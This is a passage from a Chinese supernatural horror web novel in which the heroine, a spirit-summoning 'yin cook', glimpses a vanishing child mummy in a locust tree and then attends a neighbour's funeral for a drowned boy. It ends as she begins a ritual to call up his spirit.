——沈聆的右手几乎已经痊愈了，和吴妄说的一样，秦琴给她的灵元草有着神奇的治愈能力，这都没有几天，她的伤口几乎已经全都愈合了，而且是肉眼可见地长出了新的皮肤，新生长出来的皮肤是淡粉色的，上面还留着几道疤痕，可疤痕也在逐渐被吸收，不多时，就会恢复到原来的模样。
每次看到手臂，沈聆都不由得感叹世间万物的神奇。
她想着，自己是不是获得了近乎不死的能力？只要自己不要被“切碎碎”，似乎都能无限愈合。
沈聆从口袋里拿出了手机，给宋明夷打了个电话。
“嘟——嘟——嘟——”
电话过了好一会儿才接通。
接着，从电话那头传来了宋明夷疲惫的声音。
“谁啊？！打扰本小姐睡觉！是房东吗？过几天才是交房租的时间，我这个月不会再欠你房租啦，要我说几遍啊！”
她似乎刚睡醒，应该是轮到医院夜班后的休息时间。
“是我，宋明夷，我是沈聆，别睡了，起来，你不是还想当灵异主播的吗？”
沈聆说着，站起身，朝着一楼的楼梯口走去。
一听到沈聆的声音，宋明夷倒是一下子精神了起来！
“沈聆！是你啊！”
“对，是我，你的财神爷来了。”
“
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你到楼下了吗？我还以为你要更晚一点才来！”
“嗯，我在你家楼下，沈凝的手术比预想中要更早一点结束，所以我就提前过来了。”
“好，我这就出来……”
电话那头传来了宋明夷急急忙忙穿上拖鞋、跑过地面的声音，接着，沈聆听见了开铁门的声音。
“沈聆——我在这里——”
宋明夷的声音从楼上传来，沈聆驻足、抬起头一看，发现宋明夷正在六楼的地方朝着自己招手，她似乎还穿着白色的睡衣，头发睡成了鸡窝的样子，都还没有来得及打理，听到沈聆来了，就从床上蹦起来了。
还别说，本来鬼气森森的公寓楼，因为宋明夷的出现，神秘感和灵异感倒是减弱了几分。
“好，我马上上来。”
“在你左手边有一个电梯，你坐电梯到六楼就可以啦——”
“嗯，行，待会儿见。”
“好哟——”
两个女孩子说着挂断了电话。
就在沈聆抬脚欲向电梯口走去的时候，忽然感觉有一股力量拉扯住了自己的裤腿，她低下头，看见警长正咬着她的裤脚，似乎在阻止她进入公寓楼。
“怎么了警长？”
沈聆疑惑。
“喵——”
警长松开了嘴，坐在了地上，摇了摇尾巴。
“怎么了？你是有什么想说的话吗？”
“喵——”
黑猫眨了眨眼睛，它倒是想说话，就是没办法开口。
警长转了个身，抬起头，看向了旁边的槐树。
沈聆疑惑地顺着它的视线看去，只见自己站着的方向正对着那棵槐树。
这棵槐树看起来有些年头了，粗壮的树干上布满了岁月的痕迹，然而，当她仔细观察时，发现树干上竟然有一个椭圆形的洞，远远看去就像是一个浮现在树干上的人脸，让人不禁感到一阵寒意。
更令人毛骨悚然的是，这棵树所有树枝的走向都十分诡异，仿佛它们在挣扎着想要逃离树干的束缚。树枝的线条显得十分突兀，给人一种不自然的感觉。
就在这时，沈聆突然注意到在树干的分叉上，似乎有什么东西在飘动。
她眯起眼睛，努力看清那个模糊的物体。
终于，她意识到那像是一个白色的布，随风飘动着……
“不对……那不是布……”沈聆眯起了眼睛。
她定睛一看，发现那是一块正方形的丝绸，上面带着点点小花的图案。
“那是……那是我的手帕？！”
“喵——”
警长动了动耳朵，它似乎是因为注意到了手帕上残留的沈聆的气息，从而发现了那被绑在枝干上的手帕。
手帕并不是勾在上面的，而是被绑在上面的，手帕大概被绑在三楼左右的高度，并且是在远离公寓走廊的那一刻……
那条手帕就这么绑在光秃秃枝端，迎风飘动着，沈聆甚至还看见了手帕上系着的蝴蝶结，那样子，和自己那天晚上鬼打墙的时候做的标记一模一样。
“大白天的，真是……见了鬼了。”
65. 槐树中的干尸
槐树。
在中国的各种古代神话史书中，都是最具有阴气的树。
在风水学中，槐树容易招鬼，聚集阴气，因此也被称为“鬼树”，单单是槐树的“槐”字，便是木与鬼的结合。
从沈聆第一眼看到这棵槐树的时候，便感觉到浑身的不自在。
这棵槐树应该是已经干枯了，但它却没有风化，依旧矗立在原地，而新隆公寓也没有人搭理过这棵树，它就这么静静地待在这里，仿佛已经与这个世界脱节。
日光落在它的身上，显得格外冰冷，似乎感觉不到一点生气，它那干枯的树干和粗糙的树皮，宛如在火场上被无情焚烧后的尸体，散发着一股令人窒息的死亡气息，每一个细节都充满了岁月的痕迹，让人无法忽视它曾经经历过的沧桑。
它的分叉枝干，如同扭曲的爪子，伸向空中，仿佛在诉说着什么，它们看起来如此脆弱，仿佛随时都会断裂，然而却又顽强地支撑着整个树冠，粗糙的树皮，布满了深深浅浅的裂痕，有的地方甚至已经剥落，露出里面坚硬的木质，这些伤痕累累的痕迹，见证了时间的流逝和自然的力量。
当人们注视着这棵槐树时，心中总会涌起一股莫名的恐惧。
它那诡异的形态和阴森的氛围，让人本能地不愿意靠近，仿佛一旦靠近，就会被它吞噬掉所有的生命力。
“我记得……当时我是把手帕系在一棵小树上的……”
沈聆闭上眼睛，脑海中浮现出那天晚上鬼打墙的情景。
那天晚上，她和道长追着死尸们离开的痕迹而去，没想到在进入乱葬岗之后，陷入了迷阵，当时，沈聆把自己的手帕系在了路边的一棵小树，她深刻记得那棵树甚至还没有两米，但是摸上去干巴巴的，而且也同样没有树叶，不知道是否已经枯死了，可无论如何，绝对不是眼前这棵大槐树。
“难道……这两处的时空有什么交错吗？还是说，虽然我和道长被困在迷阵里的时候，其实我们并不是在乱葬岗里？而是被人用障眼法困在了别的地方，当时看到的、听到的都不是真的……”
沈聆越想越感觉背后一凉。
她直到现在才发觉那天晚上是如此惊险，还好当时宋明夷泼向女鬼的黑狗血暂时破解了迷阵，让吴妄有时机找到迷阵的阵眼，否则他们不知道要在“那个时空”里被困多久。
沈聆认真观察了一下这棵大槐树，发现大槐树的正前方有一个树洞，那树洞恰好在一米五左右的位置，那高度远远看去就像是有一个人被吸入了这棵槐树一样，最后和槐树融为一体，脸庞在槐树上留下了一个模糊的类似人脸的轮廓。
“喵……”
警长叫了一声，它抬起头，看见沈聆朝着槐树走去。
沈聆踩过槐树在地上交错的树根，用树根稍微垫高了自己的身体，双手攀着槐树的树干凑近了槐树的树洞往里看去——这个树洞内部是一个相对凹陷的部分，里面有点幽深，黑洞洞的，而且越往里面似乎空间越小，沈聆看不清楚树洞里的构造，但总感觉里面像是有什么东西往外窥探着她。
“这是什么……”
她似乎看到了一个奇怪的圆圆的轮廓，掏出手机，打开了手机的照明，她将手机的照明灯对准了树洞，在灯光照亮树洞的那一瞬间，沈聆看到一个脑袋正对着自己！
——树洞中的那颗头颅显得十分干瘪，仿佛被抽走了所有的水分，和乱葬岗里发现的干尸如出一辙，这具干尸明显是一个十岁左右的孩子，它的全身都呈现出一种诡异的干燥状态，脸颊上的皮肤紧紧地贴在骨头上，使得原本应该圆润的脸庞变得异常消瘦，深陷的眼眶和突出的颧骨让其看起来更显恐怖。
尸体微微张大嘴巴，露出几颗发黄且发黑的牙齿，那副模样让人不禁感到毛骨悚然，黑色的头发随意地披散在身体周围，如同头纱般将整个身躯笼罩其中。
从外表来看，这具干尸的骨架极小，尚未完全发育成熟，由此可以推断，这个小女孩大约在十岁时便已死去，随后被制成干尸并放置于槐树的树洞中。
沈聆吓了一跳，忽然一个人从身后拍了一下她，她猛地回过头，发现穿着睡衣的宋明夷出现在自己身后。
“怎么啦？沈聆，你在看什么呢？哟嚯，警长也来啦！”
“喵——”
“早上好呀警长！”
“喵——”黑猫眯起眼睛，似乎在微笑。
“我……宋明夷，这棵树里有一具尸体！你们之前没发现吗？!”被吓了一跳的沈聆转过头、着急忙慌地看向宋明夷。
“啊？？”宋明夷闻言，凑上来一看，可她什么都没有看到，“没有啊，哪来的尸体啊，你是不是出现幻觉了？”
“怎么会……”
沈聆拿着手机凑近了树洞，两个女孩子伸长了脖子往树洞里看，但在沈聆第二次照亮树洞的时候却发现、刚才的那个干尸不见了！
树洞里空空如也，只有一个狭长的椭圆形的区域，里面落满了干枯的树叶，在手机照亮的那一刻，一只蜘蛛枯叶上爬了过去。
“这……但是……但是我刚才明明看到有一个小女孩的尸体在里面！而且是干尸的状态，我真的看到了！”
“好了好了，你看清楚啦，这里面哪里有尸体啊。”宋明夷打了个哈欠，“到底刚睡醒的是你还是我啊……我看你是最近太累了，怪事发生太多了，你应该好好休息一下，沈聆，不要每天神经兮兮的，来，跟我学，深呼吸——”
“不是，我真的看到了！”
“是是是，你真的看到了，而且那个尸体在我要看的时候就自己爬出了树洞还跑掉了。”
“但是我……”
“好了好了，你就是太累了小聆聆，听我的，今天调查完呢，回家洗个热水澡，好好睡一觉，保证明天醒来你会很舒服的。”
宋明夷拍了拍沈聆的肩膀，双手推着她的肩膀，两人朝着新隆公寓走去，沈聆还想解释什么，但宋明夷显然笃定了她就是出现了幻觉，也就满口敷衍地一笔带过。
沈聆见宋明夷不相信自己，但自己又拿不出实质性的证据，也只能作罢。
她往前走着，时不时回过头看着槐树的树洞，在那个黑洞洞的地方，不知道为什么，总像是有一种感觉，似乎有人从里面往外窥探着，就像是有一双眼睛，一直藏在黑暗深处，注视着周围的。
她在看什么？
是在看过
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往的行人吗？
是在看谁可以当做是她的目标吗？
还是在看自己下一个要“吸干”的是谁呢？
……
就这么着，两个女孩外加一只黑猫，走进了新隆公寓。
“……明夷，你们这棵槐树有多少年了？”
“我不知道诶，自从我租到这里来的时候，它就这么大了，而且我感觉很奇怪，我刚来的时候，它好像还没有到七楼的高度，但是现在都到八楼了。”
沈聆和宋明夷一前一后进了电梯，在电梯门缓缓关上的那一刻，宋明夷按了一下六楼。
在电梯间里，沈聆看到了电梯门上自己的倒影，她的脸色有点苍白，眼睛下是厚厚的黑眼圈，瘦巴巴的身体外面套着一件宽大的外套，头发也随意在脑后扎起了个马尾，整个人看起来一副精神颓靡的样子，难怪宋明夷会怀疑她是过度劳累出现了幻觉。
阴厨这个工作，似乎会吸走活人的“生气”，让人整天一副“死气沉沉”的样子。
而且自从她担任阴厨之后，自己似乎也开始变得疑神疑鬼了起来，毕竟已经具有了通灵的能力，自然也会开始留意曾经自己信誓旦旦认为不存在的“超自然现象”。
“这棵槐树，我感觉怪怪的。”
“是吧！我也这么感觉，你看它光秃秃的，跟我们外科主任的脑袋一样，但是没有叶子还能继续长大，是靠什么光合作用的呢？”
是啊。
这世间万物，只要是活着的东西，都需要新陈代谢，都需要从外界吸收养分。
如果槐树没有叶子，如果它早已经没办法进行光合作用，那么它的养分，又是从何而来呢？
沈聆沉思着，电梯在六楼停了下来。
“唉，别去想那些奇奇怪怪的东西了，这棵槐树我感觉和你外婆的年纪差不多大，甚至比你外婆还要老，将来我俩死了它都不见得会死，操这份心做什么，来，先去我家，我给你泡茶喝喝。”
“你还会泡茶？”
“奶茶算吗哈哈哈哈……我有一阵子很喜欢喝奶茶，但是外面的奶茶太贵了，我就自己网购了很多奶茶粉，我现在调奶茶调得可好了，我感觉以后如果被医院辞退了，我都可以到外面开奶茶店、另起山头，名字嘛，就叫‘夷心夷意’奶茶店！”宋明夷一副洋洋得意的样子，显然对以后的职业生涯胸有成竹。
沈聆白了一眼宋明夷：“……大早上的，也不必说这么冷的笑话其实。”
“我才没有说冷笑话！”
“叮咚。”
就在两人说话间，电梯门缓缓开启，沈聆和宋明夷不约而同地抬起头向电梯间外看去，然而，映入眼帘的景象却让他们心生寒意——
两排洁白如雪的花圈整齐地排列在门口两侧，宛如两道冰冷的壁垒；而在这寂静的氛围中，两名男子正小心翼翼地搬运着一张男孩的黑白遗照，缓缓走向电梯口。
那张遗照中的小男孩面容苍白如纸，双眼空洞无神，仿佛失去了生命的光彩，他静静地凝视着前方，那凝固着"死气"的目光，恰好落在了站在电梯间内的沈聆和宋明夷身上，仿佛在默默地注视着她们，透露出一种无法言说的诡异与凄凉。
66. 李子晨
在电梯门被打开的一瞬间，看到电梯口放着的两排花圈，沈聆和宋明夷两个人都愣怔了，一张大大的黑白遗照就这么对着电梯口，对着手足无措的她们，遗照里的是一个小男孩，脸蛋肉嘟嘟的，他的年纪可能才上小学，甚至遗照上的他还系着红领巾，只不过，照片上红领巾的颜色和他的生命一样，都变成了灰白色。
两个男人正搬动着那张遗照，遗照用黑色的框裱起，两个男人穿着黑色的衣服，带着白色的手套，正将遗照一点点朝着走廊搬去。
“我去，我们这是什么运气啊，大清早就……”
忽然意识到自己好像说的话不太对，宋明夷忙捂住了自己的嘴巴。
只不过，从唯心主义的角度上来说，大清早就遇到人家在办白事，的确不是很吉利。
“这……是在办葬礼吗？”沈聆皱着眉头看着电梯间两侧的花圈，花圈上用白纸黑字写着送别死者的赠语，看起来是那个小男孩的亲戚。
“我……我也不知道啊！”
“你不是就住在六楼吗？你不知道？”
“我刚才不是从这边的电梯下来的，我是从另一头的电梯走的，没注意到走廊这头在办白事……”
电梯门即将关上，两个女孩子也只能硬着头皮走出电梯间。
她们低着头，从那些花圈前面走过，生怕打扰了人家的白事，那心虚的样子，不知道的人以为她们兜里偷偷揣了五十个在葬礼上偷来的硬币。
在她们走过那两排花圈的时候，恰好被堵在了搬遗照的那两个人后面，走廊并不是很宽，那两个人男人加上遗照，恰好堵住了走廊的宽度，她们低着头想从旁边“弯道超车”过去，但没想到愣是一点缝隙都没有，尴尬之下只能跟在遗照后面走，接受遗照中那个男孩的“凝视”。
“喂，宋明夷，你也太离谱了吧，你的邻居办丧事你不知道吗？”沈聆瞥了一眼宋明夷。
“我哪里知道啊，我每天在这里睡觉一下就出门了，我还要上班，还要跟着你们拍摄灵异视频，我也是很忙的诶！”
两个女孩子嘀嘀咕咕的，她们越往前走，越是听见哀乐的声音。
那声音并不大，只是在办丧事的那户人家里屋子里播放，似乎还没有到出殡的时候，这户人家也不想打扰到周围的邻居一样，刻意调小了哀乐的声音。
“喵……”
警长跟在沈聆后面低着头走着，它似乎也感受到了这股压抑的气氛，不敢乱跑，低着头像是也在哀悼死去的亡魂。
“宋明夷，你不是邻居吗？你不用参加邻居的葬礼？”
“可拉倒吧，现在的邻里关系可不是五十年前的邻里关系了，你知道住在你隔壁的人叫什么名字吗？”
“你可真冷漠诶！”
“我才没有！这里大部分都是租户，人口流动性很大的，有时候你刚认识一个邻居，说不定他第二天就搬走了，你说你费这个心思做什么，我这叫节约自己的精力，让自己有限的精力都放在有用的事情上！”
两个女孩子嘀嘀咕咕着，她们只顾着低头往前走，都没有抬头看看前面，忽然，沈聆突然撞到了什么东西，那东西软软的，但却又像一堵墙一样坚定，她往后退了几步，感觉到有个力量拉住了自己，抬起头，对上了一双熟悉的眼眸。
“林凌警官？！”沈聆惊讶地看着站在眼前的少年。
他身姿挺拔如青松，一头乌黑短发利落有型，高挺的鼻梁下，薄唇微微抿着，林凌穿着黑色的正装，看起来神情有点儿严肃，但在看到撞到自己的人是沈聆的时候，眼眸中也不由得流露出几分惊讶之情。
在他身后，那两个男人正将遗照搬到一个房间里，沈聆的视线擦过林凌的肩膀，发现那个房间是604，目前办丧事的就是这户人家，那哀乐也是从开着的房门里传出来的，靠近了还能听见房间里传出的女人的哭声和男人的叹息声，似乎所有人都在为逝去的小生命悲哀。
“沈聆？你怎么在这里？还有小姑娘你也是？”林凌看向沈聆和宋明夷。
“我没有名字啊，你不能这么区别对待啊林大哥！”宋明夷抗议。
“我今天来明夷家做客的。”沈聆如实说道，“你还记得那天晚上我们在殡仪馆遇到的只有一个头的女鬼吗？她生前就住在新隆公寓，刚好明夷家就在这里，我想着，来调查调查，说不定可以挖到一些和干尸坑有关的真相。”
“什么？她生前居然也住在新隆公寓里……”
在三人说话间，几个掩面哭泣的人从604里出来，他们也穿着黑色的衣服，看起来像是那小男孩的亲戚，其中一个满头白发的老妇人哭哭啼啼的，旁边的人正掏出面巾纸给她擦眼泪，沈聆三人给他们让开了走廊的空间，让他们能过去，那老妇人看见沈聆身后跟着的黑猫，皱起眉头就是一顿质疑。
“等等！这里怎么有黑猫？！葬礼上怎么可以出现黑猫呢！”
其他人听见她的声音，视线也全都落在警长身上。
警长抬起头看着众人，歪着脑袋，眨了眨眼睛，似乎不是很明白自己的存在为什么会困扰到大家。
“葬礼上出现黑猫这是大凶之兆啊！”老妇人说着，指着旁边的年轻人说道，“你们就是这样给我的小孙子办葬礼的吗？！我孙子太可怜了，年纪轻轻就死了，你们还要这样让他不得安生？！”
老妇人说着，抬起脚就踢向了黑猫警长。
“喵——”
警长轻轻一跃，灵敏地躲开了老妇人的脚，轻巧地落在沈聆身边，它蜷缩着身子，尽量将自己藏在沈聆的身影下，似乎是乖巧地让大家知道它不会有任何威胁。
“喵——”
沈聆担心老妇人再伤害黑猫，忙蹲下身将黑猫抱在了怀里：“它不会伤害别人的，而且它是一只有灵性的猫，才不是什么凶兆。”
“黑猫就是黑猫，你看看贼猫的那双眼睛，滴溜溜的，不知道在憋着什么坏主意！我非得把它从楼上丢下去！”老妇人说着握着拳头就朝着沈聆怀里黑猫打过来。
“喵——”
沈聆转过身，下意识地用身体挡住了老妇人的拳头，老妇人直接抓住了沈聆的衣服，扒拉着她的外套，就拧她的胳膊。
“阿姨
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你怎么掐人呢！”林凌见状，伸出手抓住了老妇人的手腕。
老妇人愤怒地瞪着林凌：“你这臭小子放开我！没大没小！”
“你这个老东西，你干嘛打人啊！”宋明夷见朋友被欺负了，小脾气就上来了，穿着卡通睡衣的她，撸起袖子就要吵架。
“你个小丫头片子，你嘴巴给我放干净一点！”在老妇人身后，一个年轻男人也站了出来，“怎么说我妈呢！”
“就说你妈怎么了！现在都是21世纪了，还搞什么‘凶兆’‘凶兆’的！丢不丢人！是不是出门没穿胸罩啊！到处找胸罩！”
“你！臭丫头！看我不教训教训你！让你不知道天高地厚！”
七嘴八舌的声音不断响起，众人纷纷拉扯着对方，整个场面瞬间陷入混乱之中，没有人知道究竟是谁率先动起手来，但这并不重要，因为人们已经无法控制自己的情绪和行为，原本应该安静的狭长走廊，如今却成了一场闹剧的舞台。
推推搡搡之间，有人被挤到了墙边，有人摔倒在地，还有人撞到了墙上。
“你推我干嘛！”
“是他推我的！”
他们互相指责、谩骂，甚至动手打人。
而屋子里面的人听到了走廊传来的吵闹声，也纷纷从房间里冲了出来。
这条走廊原本还沉浸在葬礼的悲伤中的气氛，此刻完全被这场突如其来的争吵所取代。
“够了！！”
就在这时，一个男人声音在走廊另一头响起，他几乎是用喊的，让混乱的众人一下子停了下来。
众人寻声看去，发现走廊那头，一个少女正推着一个坐在轮椅上的人走了过来，坐在轮椅上的看起来是个五十多岁的老伯，他头发几乎全都白了，一张国字脸上爬满了皱纹，他穿着黑色的衣服，右腿还缠着绷带、打折石膏，显然是从医院过来参加葬礼的。
他微微皱起眉头，看着挤在走廊中的众人，脸色阴沉得十分难看。
“你们在我孙子的葬礼上吵吵闹闹的，像什么话？！”
“老头子啊！你可算是来了！”
那老妇人抓着沈聆的衣服不放手，愣是要从沈聆怀里夺过黑猫，但沈聆紧紧抱着警长，蜷缩着身子，就是不让这老阿姨碰到猫，但她又不敢推搡老人家，吵闹之下，沈聆的脖颈倒是被老妇人抓了好几道伤痕。
“老头子！这小姑娘带着黑猫到咱子晨的葬礼来，你说说这像什么话！我要把这只猫从六楼丢下去！”
“行了行了！你看看你现在这样像什么话！都是五十多岁的人了，还跟年轻人打架！”老伯冲着老妇人喝到，“快放开人家小姑娘，你看看你给人家吓得，黑猫就黑猫了，那只猫是她的宠物，她也只是路过而已，又不是诚心来捣乱的，你作为警察家属还这样迷信，说出去像什么话？我还要不要在警局里待了？！”
警局？
沈聆听到这两个字，下意识地看向了林凌。
林凌和她对视了一眼，轻声说道：“嗯……你猜的没错，他就是老李，今天是他孙子李子晨的葬礼，我是来参加葬礼的。”
67. 李家丧事
这个世界，总是充满了各种风险。
人生的变故太多了，突发意外、飞来横祸，这样的词语总是发生在各种不同的人身上，当不同的悲剧在不同的人身上重复上演的时候，便成了不同命运结局的真实写照。
人，是坚强的动物，总是在各种灾难后一次次站起。
但人同时也是脆弱的生物，一点意外，都会结束人的生命。
李子晨，就是这样。
他只有十岁，从小在爷爷奶奶、爸爸妈妈的溺爱下长大，他无忧无虑地从幼儿园进入小学后，他的人生才刚刚起步，对这个世界他还没有完全了解，对这个世界还没有真正欣赏，但就在这个时候，他的生命却戛然而止了，遗照上的他脖子上还戴着红领巾，作为少年先锋队的一员，现在却永远沉睡在不知名的某个角落里。
“子晨是溺水身亡的。”
老李坐在轮椅上，看着工作人员将自家小孙子的黑白遗照放好后，深深地叹息了一声。
老李仿佛在一夜之间被霜雪染白了头发，整个人看上去无比沧桑——他不过五十多岁的年纪，却犹如古稀之人，那张脸庞如干涸的土地，爬满了深深浅浅的皱纹，每一道纹路都似乎诉说着岁月的故事，他的眼睛浑浊而疲惫，眼角眉梢满是岁月刻下的沧桑痕迹。
曾经，作为一名人民警察，他将自己的一生都奉献给了保护人民的事业，那挺直的脊梁如今却微微弯曲，他身着整洁却略显陈旧的黑色西装，庄重而肃穆，命运却如此残酷，他奋斗了一辈子，却在晚年无法保护自己心爱的孙子。
此刻，他只能静静地坐在轮椅上，参加孙子的葬礼，满心的悲痛和无奈仿佛化作了沉重的枷锁，压得他喘不过气来。
空气中弥漫着悲伤的气息，仿佛每一个分子都在诉说着这场悲剧。
白发人送黑发人，凄凄惨惨戚戚。
在老李身边，原先情绪激动揪着沈聆不放手的老妇人也在掩面哭泣。
老妇人的头发已经完全花白，如同一团杂乱的云朵，乱糟糟的头发也无心打理，她穿着一件黑色的旧裙子，裙摆处有些许褶皱，仿佛也在为这场不幸而哀伤，老妇人满脸悲戚，眼眶哭得红肿，从进门后的那一刻起，她的泪水就没有停止过流淌。
在众人的劝解下，偶尔她会稍微停止哭泣，但只要一抬起头看到心爱小孙子的遗照，便又会嚎啕大哭起来，那悲痛的哭声在寂静的空间里回荡，让人的心也跟着揪了起来。
整个葬礼现场被沉重的悲伤笼罩着，仿佛乌云压顶，让人透不过气来。
老妇人身边，一对年轻的夫妻互相搀扶着坐在椅子上。
他们穿着黑色的衣服，胸前别着白色的花，仿佛在向世界宣告着他们的悲痛，时不时有人来安慰他们，但他们只是摇了摇头，只言片语实在是难以化解失去孩子的痛苦。
男人的脸色苍白，眼神空洞，胡茬布满了下巴，显然是多日未曾打理，女人看上去三十出头，面容姣好却因悲伤而憔悴不堪。她哭得格外伤心，一张小脸哭得煞白，没有一丝血色，她的头发有些凌乱地散落在肩头，几缕发丝贴在脸上，更增添了几分哀愁。
她紧紧地依偎在丈夫身边，仿佛只有这样才能找到一丝支撑，她无疑就是孩子的母亲，那无尽的悲痛从她微微颤抖的身体中散发出来，让人心痛不已。
小小的屋子里已经将家具搬到了房间里，将客厅布置成了灵堂。
老李一家还是希望在孩子生前熟悉的地方送一送孩子，担心孩子的灵魂不喜欢殡仪馆，因此，他们并没有在殡仪馆举办葬礼，而是选择将亲朋好友请到了家里，来送一送这个孩子最后一程，希望他来世无病无灾、能继续做一个无忧无虑的好孩子。
沈聆、宋明夷和林凌站在房门边，看着悲伤的老李一家，却不知道从何安慰。
他们已经将警长暂时放在宋明夷家里了，担心黑猫让老妇人心烦，不敢将黑猫带到灵堂来。
再多的言语，在失去亲人的悲苦面前，都是苍白的。
人们也只能用“节哀顺变”这样的话安慰着失去孩子的人们，但这哀伤却不是这么容易褪去的，只能通过时间来洗刷，或许要五年，十年，二十年……但时间冲淡的是悲伤，并不是他们对孩子的感情，多年后，想起那个开朗活泼的小男孩，他们依旧会泪流满面，逝者已逝，但生者却将一辈子活在这样的痛苦之中。
或许，这就是人生的别离。
不知道什么时候起，对某些人的最后一面，就是此生的最后一眼了……
只不过，当时只道是寻常罢了。
“我想……子晨一定已经到极乐世界去了。”林凌轻声安慰老李。
老李是他的半个师傅，从进入警察局后，就是老李带着他办案，他也曾到老李家玩过几次，甚至都抱过几次小子晨。孩子的父母给这孩子取名“子晨”，希望他的人生如冉冉上升的晨阳一样充满希望，但没想到，他的生命如此短暂。
“唉，也是我不好，我太忙了，没有太多时间照顾他……才发生了这样的意外。”老李懊悔得痛心疾首，“所以，在听到元山路的车祸时，我第一反应就是要赶紧赶过去车祸现场……那些和子晨一样大的孩子绝对不能死掉，他们才十岁出头，我要去救他们，至少，不能让子晨的悲剧再发生在其他孩子身上。”
“您已经做到了，您从山崖下带回了很多孩子，他们都很感激您的。”沈聆轻声安慰。
“是吗，但是我带回来的孩子们，都是尸体了……”老李说着，咳嗽了几声，他的声音沙哑中充满了疲倦，“老了啊，不中用了啊，如果我的动作再快一点，说不定背上的孩子还能抢救一下，说不定……”
宋明夷也摇了摇头：“说不定，这些都是命数……不过李伯伯您不用担心，那些孩子现在都去了极乐世界，他们应该已经都投胎转世了，和子晨一样，一定会有一个美好的新人生的。”
林凌点了点头，脑海中浮现出在殡仪馆看到的那些小灵体。
他没办法跟老李说他在殡仪馆遇到的神奇的事情，但可以肯定的是，老李的努力并不是白费，虽然老李因为李向泰摔断了腿，但他的付出，那些孩子们都感恩在心。
“希望吧。”老李说着，看向了李子晨的遗照，“如果可以的话，我真希望替子晨去死，你说，子晨还那么小，为什么命运就这么不公平……如果一定要带走一个人，为
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什么不带走我呢？我都已经五十多岁了，我也活够了，为什么不能拿我的换我孙子的命呢……”
“老头子，我真的好想子晨啊，我好想听一听子晨的声音，听他再叫我一声‘奶奶’啊——”推着轮椅的老妇人越说越伤心，哭出了声。
老李叹了一口气，他又何尝不是这样想的呢？
但生死两隔，这似乎已经变成了再也达成过不了的心愿。
一时间，哭泣声在灵堂里绵绵不绝，大家都在哀伤着这个早逝的小生命，如果他能听到亲人们的哭声的话，是否也会对这个残酷的人世间恋恋不舍呢？
“……或许，我可以。”沈聆轻声说。
她说出这句话的时候，老李、老李老伴、宋明夷、林凌都朝她看去，似乎难以置信她所说的话。
“我说……或许我可以让你们再见他最后一次。”
沈聆平静地重复这句话，她知道自己在说什么，也知道自己或许是唯一有能力实现老李一家愿望的人。
“这小丫头在说什么呢？”老李皱起眉头，他显然不是不相信沈聆说的话。
“是真的！沈聆是阴厨，她可以唤魂，你们或许可以看到子晨最后一眼……我作证！我曾经看过她‘唤魂’和‘祭魂’的过程，而且我也看到了和她对话的鬼魂！”宋明夷说着，举起三根手指，“我发誓，我说的都是真的！”
在一旁掩面哭泣的子晨妈妈听到了，忙推开众人，小跑了过来。
“你说……你说你有办法让我再见见子晨？！”她睁大眼睛，泪流满面额地看着沈聆。
“嗯，我可以的，但是他不能说超过三句话……我是阴厨，我的任务就是给亡魂做最后一顿饭，帮助他们完成心愿，如果你们愿意相信我的话，说不定我可以尝试一下……”
话音未落，子晨妈妈已经跪下去：“求求你！求求你帮我见到子晨……我真的很想他，不知道他在那个世界过得好不好，我们没有找到子晨的尸体，只在河边找到了子晨的鞋子，我很担心他现在会不会冷，在那个世界有没有鞋子穿，有没有东西吃……”
“您、您先起来，先起来！我是一个晚辈，我不能接受您的跪……”沈聆忙扶起了子晨妈妈。
“这个小姑娘说她可以唤魂诶……”
“等等，是不是骗子啊！”
“但是，如果是真的呢？今天是子晨的头七，说不定真的可以通过她看到子晨。”
“我觉得还是可以试试看……”
“我也觉得……”
在她周围，子晨的所有亲人们也都围了过来，大家虽然看着沈聆的眼神都带着猜忌，但思念亲人的心愿让他们理解了子晨妈妈的诉求，虽然担心沈聆是个小骗子，可看到子晨妈妈崩溃的样子，大家也还是愿意让沈聆试一下。
“林凌，你朋友说的是真的吗？”老李看向了林凌。
“这个……我感觉沈聆是有点本事的。”林凌如实回答，“至少，我也曾经见到过一些奇怪的现象，或许可以试一试。”
“既然如此，你就试试看吧。”老李说道，“但是你不要给我装神弄鬼，如果让我发现这些事情是假的，我一定会把你们轰出去。”
68. 灵堂唤魂
祭魂分为九个步骤：上清香、唤生魂、见黄泉、听鬼音、受鬼托、请香祀、做祀品、祭亡魂、别离恨、转生安。
在来之前，沈聆并没有想过自己居然在新隆公寓也要干阴厨的活，不过能积攒阴德总归是好事，而且，出于助人为乐的心情，她也很希望能帮一帮那位可怜的母亲。
沈聆正对着子晨的黑白遗照，她将背包放在身边，从背包里拿出结魄灯、小镜子和鎏金香炉，她现在已经养成了走到哪里都带着背包的习惯，作为一名阴厨，已经逐渐开始养成了良好的职业素养。
沈聆用火柴点亮了结魄灯，此灯可凝结鬼火，照亮黄泉路，指引鬼魂前来。
其他人好奇地围在周围，伸长了脖子想看看这小姑娘在搞什么花样，但又担心自己会惹到“不干净的东西”，便又隔了一段距离，在好奇与害怕中保持着相对固定的距离。
在点亮结魄灯后，她将小镜子放在了结魄灯前，镜子属阴，可聚阴，在冤魂的阴气汇集后，从背包里拿出了三支香，用火柴点燃了三支香后，将三支香插在了鎏金香炉上。
上香后，沈聆认真观察了一会儿，香并没有熄灭，说明亡魂是接受了她的请求。
1.招魂必燃结魄灯，做饭必入阴厨血。
2.招魂时，不可回头看亡魂，不可询问死因。
3.魂受三支香，话可问三句。
4.必须在两天内完成嘱托，否则必将遭受反噬。
沈聆在心里默默过了一遍招魂的步骤后，盘腿坐在地上，合拢手掌，闭上双眼对着镜子默念起了外婆教的口诀——
“天地阴阳，万物生灵，幽幽魂魄，徘徊于世，以灯为凭，以香为引，招魂于此，速速现身。”
林凌和其他人一样好奇地看着沈聆“唤魂”的过程，这还是他第一次看到沈聆做这些事情，与所有人一样，对这样未知隐秘的事情充满了好奇。
若是放在从前，他会对这样的事情嗤之以鼻，但现在，他也开始意识到了这个世界充满了未知，因此，对自己无法解释的事情，不再一杆子打翻。
或许，隔着一段距离观察，反而能看清更多的真相。
在沈聆念完那句咒语的时候，周围一片寂静，所有人都等待着是否有奇迹发生，气氛一下子静谧了下来，大家都屏住了呼吸，盯着子晨的遗照和沈聆面前的小镜子，宋明夷更是不愿意错过这个拍摄素材的好机会，她早就打开了手机的摄像功能，将摄像头对准了沈聆。
“真是太棒了吧，我上一个视频还没有完全限流，这新的素材就来了！”
“……你这样放在网上没问题吗？”林凌看着一脸兴奋的宋明夷，感到有点不妥。
